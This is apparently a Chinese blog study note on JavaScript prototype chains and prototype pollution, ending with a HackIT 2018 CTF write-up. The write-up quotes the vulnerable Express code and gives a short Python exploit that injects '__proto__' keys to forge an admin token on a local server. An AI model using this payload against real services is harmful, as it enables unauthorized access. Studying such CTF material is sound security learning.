javascript 原型链污染学习

javascript原型链

在JavaScript中只有一种结构:对象,也就是常说的”万物皆对象”。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象(到null为止),经过一层层的链式调用,就构成了我们常说的”原型链”。
创建一个类时

在js中对象的__proto__与类的prototype等价
原型链为b->a.prototype->object.prototype->null
同理
创建一个数组时b->array.prototype->object.prototype->null
创建一个函数时b->function.prototype->object.prototype->null
发现所有都会于object.prototype开始

原型链污染成因

在javascript中可以通过 test.a or test['a'] 对数组的元素进行访问
原型链污染一般会出现在对象、或数组的键名或属性名可控,而且是赋值语句的情况下。

hackit 2018 Republic_of_Gayming

环境

https://github.com/DefConUA/HackIT2018/tree/master/web/Republic_of_Gayming

解题

1
2
3
4
5
6
7
8
9
10
app.get('/admin', (req, res) => { 
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}

想拿到flag需要user.admintoken
但是代码里没有给user.admintoken赋值

1
2
3
4
5
6
7
8
9
10
11
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
...
})

本地测试一下

exp

1
2
3
4
import requests
r = requests.post('http://127.0.0.1:3000/api',json={'row':'__proto__','col':'admintoken','data':'lou00'})
r = requests.get('http://127.0.0.1:3000/admin?querytoken=' + md5sumhex('lou00'))
print r.text

参考

https://www.anquanke.com/post/id/176884
https://xz.aliyun.com/t/2735
https://www.freebuf.com/articles/web/200406.html